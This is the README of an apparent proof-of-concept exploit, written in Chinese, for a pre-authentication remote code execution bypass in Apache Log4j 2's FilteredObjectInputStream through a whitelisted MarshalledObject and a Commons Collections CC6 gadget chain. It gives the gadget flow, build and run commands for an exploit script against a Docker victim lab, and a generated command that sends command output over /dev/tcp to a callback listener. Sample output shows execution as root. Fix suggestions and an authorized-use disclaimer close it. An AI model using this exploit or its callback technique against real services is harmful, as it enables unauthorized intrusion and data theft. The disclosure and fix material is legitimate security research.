
Apache Log4j 2 中通过 FilteredObjectInputStream MarshalledObject 绕过实现预认证 RCE
无需凭据即可在任何通过 Log4j 的 FilteredObjectInputStream 反序列化 LogEvent 的 Java 服务上实现预认证 RCE。
于 2026 年 8 月 24 日报告为 GitHub issue #4255。
Log4j 将 FilteredObjectInputStream(FOIS)作为安全反序列化包装器提供。它通过白名单覆盖 resolveClass(),仅允许 org.apache.logging.log4j.*、java.lang.*、java.util.* 以及少数显式类通过。
其中一个显式类是 java.rmi.MarshalledObject:
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
"java.math.BigDecimal",
"java.math.BigInteger",
"java.rmi.MarshalledObject", // <-- 问题所在
...);
MarshalledObject.get() 在内部创建一个新的、普通的 ObjectInputStream。没有任何过滤器。包裹在 MarshalledObject 内的任何内容都可以在零限制的情况下反序列化,完全绕过白名单。
Log4j 自身就进行了这种包裹。LogEventProxy(每个 LogEvent 的序列化代理)将事件消息存储在 MarshalledObject<Message> 字段中。在反序列化时,它调用 marshalledMessage.get() 来恢复消息。该调用创建了未经过滤的流。游戏结束。
过滤器只能看到流中的顶层类描述符:
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = SerializationUtil.stripArray(desc.getName());
if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
throw new InvalidObjectException(
"Class is not allowed for deserialization: " + name);
}
return super.resolveClass(desc);
}
FOIS 检查 LogEventProxy(log4j 包,允许)、MarshalledObject(在白名单中)以及 byte[](原始类型)。全部通过。CC6 利用链隐藏在 MarshalledObject.objBytes 中作为原始字节。FOIS 永远看不到它。
当 LogEventProxy.readResolve() 运行时:
// Log4jLogEvent.java:1265-1274
private Message message() {
if (marshalledMessage != null) {
try {
return marshalledMessage.get(); // 未过滤的 ObjectInputStream
} catch (final Exception ex) {
// 忽略我
}
}
return new SimpleMessage(messageString);
}
marshalledMessage.get() 创建一个普通的 ObjectInputStream,CC6 链触发,命令执行。当利用链结果不是 Message 时,catch 块吞掉了 ClassCastException,因此服务器正常响应。没有错误,没有日志条目。
作为对比,ObjectMessage 正确处理了这个问题:
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
in.defaultReadObject();
obj = SerializationUtil.readWrappedObject(in); // 创建经过过滤的内部流
}
LogEventProxy 应该使用相同的模式,但没有。
攻击者 目标(基于 FOIS 的接收器)
| |
| HTTP POST /log |
| 请求体:序列化的 LogEventProxy |
| ------------------------------------------> |
| |
| FilteredObjectInputStream.readObject()
| ├── resolveClass(LogEventProxy) ✓ log4j 包
| ├── resolveClass(MarshalledObject) ✓ 白名单
| └── resolveClass(byte[]) ✓ 原始类型
| |
| LogEventProxy.readResolve()
| └── message()
| └── marshalledMessage.get()
| └── new ObjectInputStream(objBytes) 无过滤器
| └── HashSet.readObject() CC6
| └── TiedMapEntry.hashCode()
| └── LazyMap.get()
| └── ChainedTransformer
| └── Runtime.exec(cmd)
| |
| HTTP 200 OK: "log event" |
| <------------------------------------------ |
服务器返回 200 并像什么都没发生一样处理该事件。
关键在于将 CC6 链放入 MarshalledObject.objBytes 而不提前触发。
GadgetMessage 实现 Message 并覆盖 writeReplace() 以返回 CC6 利用链:
GadgetMessage 为消息的 Log4jLogEvent。LogEventProxy.writeObject() 调用 marshall(message),将 GadgetMessage 送入 MarshalledObject 构造函数。GadgetMessage。writeReplace() 触发并替换为 CC6 HashSet。MarshalledObject.objBytes 包含 CC6 链。GadgetMessage 永远不会出现在网络上。GadgetMessage 仅在攻击者侧使用。它不需要存在于目标类路径上。
| 组件 | 受影响 |
|---|---|
log4j-api(FilteredObjectInputStream) | 2.11.0 至 2.24.3 |
log4j-core(LogEventProxy MarshalledObject 字段) | 2.8.0 至 2.24.3 |
目标还需要在类路径上有一个利用链库。此 PoC 使用 Commons Collections 3.2.1(CC6 链)。
要求:Java 11+、Maven、Python 3.10+、Docker(仅受害者实验环境)
构建并启动受害者:
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..
构建利用程序(或让 poc.py 在首次运行时自动构建):
cd exploit && mvn package -q -DskipTests && cd ..
运行:
# --lhost 是目标可达的你的 IP
# 对于同一主机上的 Docker 实验环境,使用 docker0 桥接 IP
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1
输出:
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target: http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999
[*] generating payload ...
[gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
[gen] payload: 2619 bytes
[*] payload: 2619 bytes
[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event
[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)
自定义回调端口:
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444
exploit/ 中调用 mvn package 编译 PayloadGenerator 并拉取依赖。后续运行跳过。java -cp exploit/target/... PayloadGenerator <cmd>。输出一个 base64 编码的序列化 LogEvent,其中 CC6 位于 MarshalledObject 内部。--lport(默认 9999)上打开 TCP 监听器以接收命令输出。/log 端点。/dev/tcp 将输出回传到监听器。log4j2-rce/
├── README.md
├── poc.py # 利用脚本
├── exploit/ # 攻击者(在主机上运行)
│ ├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
│ └── src/
│ ├── PayloadGenerator.java # CC6 + MarshalledObject + LogEvent
│ └── GadgetMessage.java # 带 writeReplace() 的 Message
└── lab/ # 受害者(Docker)
├── Dockerfile
├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
└── src/
└── HttpLogReceiver.java # 使用 FOIS 的 HTTP 端点
lab/ 是受害者。HttpLogReceiver 是使用 FilteredObjectInputStream 的 HTTP 日志接收器。默认配置,无调试标志,无人为弱点。Commons Collections 作为现实的传递依赖存在于类路径上。
exploit/ 是攻击者工具。PayloadGenerator 在主机上构建序列化载荷。绝不接触受害者容器。
REQUIRED_JAVA_CLASSES 中移除 java.rmi.MarshalledObject。LogEventProxy 中的 MarshalledObject<Message> 字段替换为通过 SerializationUtil.writeWrappedObject() / readWrappedObject() 序列化的 byte[]。这与 ObjectMessage 已正确使用的模式相同。CC 3.2.1 及更早版本:InvokerTransformer 可自由序列化。CC6 可直接使用。
CC 3.2.2(2015 年 11 月):在 InvokerTransformer 中添加了序列化防护,除非 org.apache.commons.collections.enableUnsafeSerialization 为 true,否则会阻止该链。
无论 CC 版本如何,过滤器绕过都存在。CC 的防护只是利用链层的纵深防御,并非对损坏过滤器的修复。任何其他无防护的利用链库(Groovy、BeanShell、Spring Beans 等)都可以实现相同的攻击。
docker rm -f fois-lab
docker rmi fois-bypass-lab
仅限授权测试。在对任何你不拥有的系统运行此工具之前,请获得书面许可。